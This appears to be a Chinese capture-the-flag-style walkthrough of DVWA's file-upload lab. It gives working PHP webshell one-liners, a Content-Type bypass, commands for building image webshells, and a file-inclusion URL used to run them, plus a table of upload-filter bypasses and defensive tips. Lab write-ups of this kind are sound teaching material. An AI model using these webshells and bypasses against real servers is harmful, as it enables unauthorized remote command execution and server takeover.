DVWA File Upload 文件上传通关教程

漏洞简介

文件上传漏洞,简单说就是能上传不该上传的东西,比如 WebShell。一旦传上去个 PHP 木马,服务器基本就归你了。这玩意危害是真的大。

这关主要学怎么绕过各种上传限制,拿到 WebShell。

常用 WebShell

先准备几个常用的:

1
<?php @eval($_POST['cmd']); ?>
1
<?php system($_GET['cmd']); ?>

简单粗暴,一个参数接收命令就完事。

Low 级别

看代码:

1
2
3
4
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// 上传成功
}

啥检查都没有,直接保存,爱传啥传啥。

攻击方法

  1. 写个 shell.php,内容 <?php @eval($_POST['cmd']); ?>
  2. 直接上传
  3. 访问 http://localhost:3892/hackable/uploads/shell.php
  4. 拿蚁剑或者菜刀连上去,服务器就是你的了

太简单了,没啥好说的。

Medium 级别

Medium 检查了 Content-Type 和文件大小:

1
2
3
4
5
6
7
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// 允许上传
}

只检查请求头里的 Content-Type,这玩意前端改不了但抓包工具能改。

绕过方法

改 Content-Type:

  1. 上传 shell.php,Burp 抓包
  2. Content-Type: application/octet-stream 改成 Content-Type: image/jpeg

upload successful

  1. 放行,上传成功

upload successful

图片马:

也可以做个图片马,把 PHP 代码塞图片里:

1
copy normal.jpg/b + shell.php/a webshell.jpg

或者直接追加:

1
echo "<?php @eval($_POST['cmd']); ?>" >> image.jpg

不过图片马需要配合文件包含漏洞才能执行,后面会说。

High 级别

High 级别检查后缀和图片特征了:

1
2
3
4
5
6
7
8
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" ||
strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// 允许上传
}

检查了:

  1. 后缀必须是 jpg、jpeg、png
  2. 文件要小于 100KB
  3. getimagesize() 验证是不是真图片

绕过方法

单纯改后缀和 Content-Type 不行了,得做图片马配合文件包含。

步骤 1:做图片马

1
copy logo.png/b + shell.php/a webshell.png

这样图片里就包含 PHP 代码了。

步骤 2:上传

上传 webshell.png,因为是真的图片,能过 getimagesize() 检查。

步骤 3:文件包含执行

图片本身不会执行 PHP,得用文件包含漏洞:

1
http://localhost:3892/vulnerabilities/fi/?page=../../hackable/uploads/webshell.png

步骤 4:蚁剑连接

URL 填文件包含的地址,就能连上 WebShell 了。

Impossible 级别

Impossible 级别是真安全:

1
2
3
4
5
6
7
$target_file   = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) {
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
}

图片会用 GD 库重新生成一遍,里面夹带的恶意代码全都没了。文件名还是随机 MD5,想猜都猜不到。

常见绕过方式总结

绕过方式 说明
改 Content-Type 抓包改 MIME 类型
双写后缀 shell.php.php
大小写混淆 shell.PhP
特殊后缀 .php5.phtml
空字节截断 shell.php%00.jpg(老版本 PHP)
图片马 配合文件包含
.htaccess 让服务器把图片当 PHP 执行
条件竞争 上传后赶在删除前访问

小结

文件上传防护要点:

  1. 白名单限制后缀,别用黑名单
  2. 检查文件真实类型,别只看 Content-Type
  3. 图片最好重绘一遍,去恶意代码
  4. 文件名随机化,别保留原名
  5. 上传目录禁止执行脚本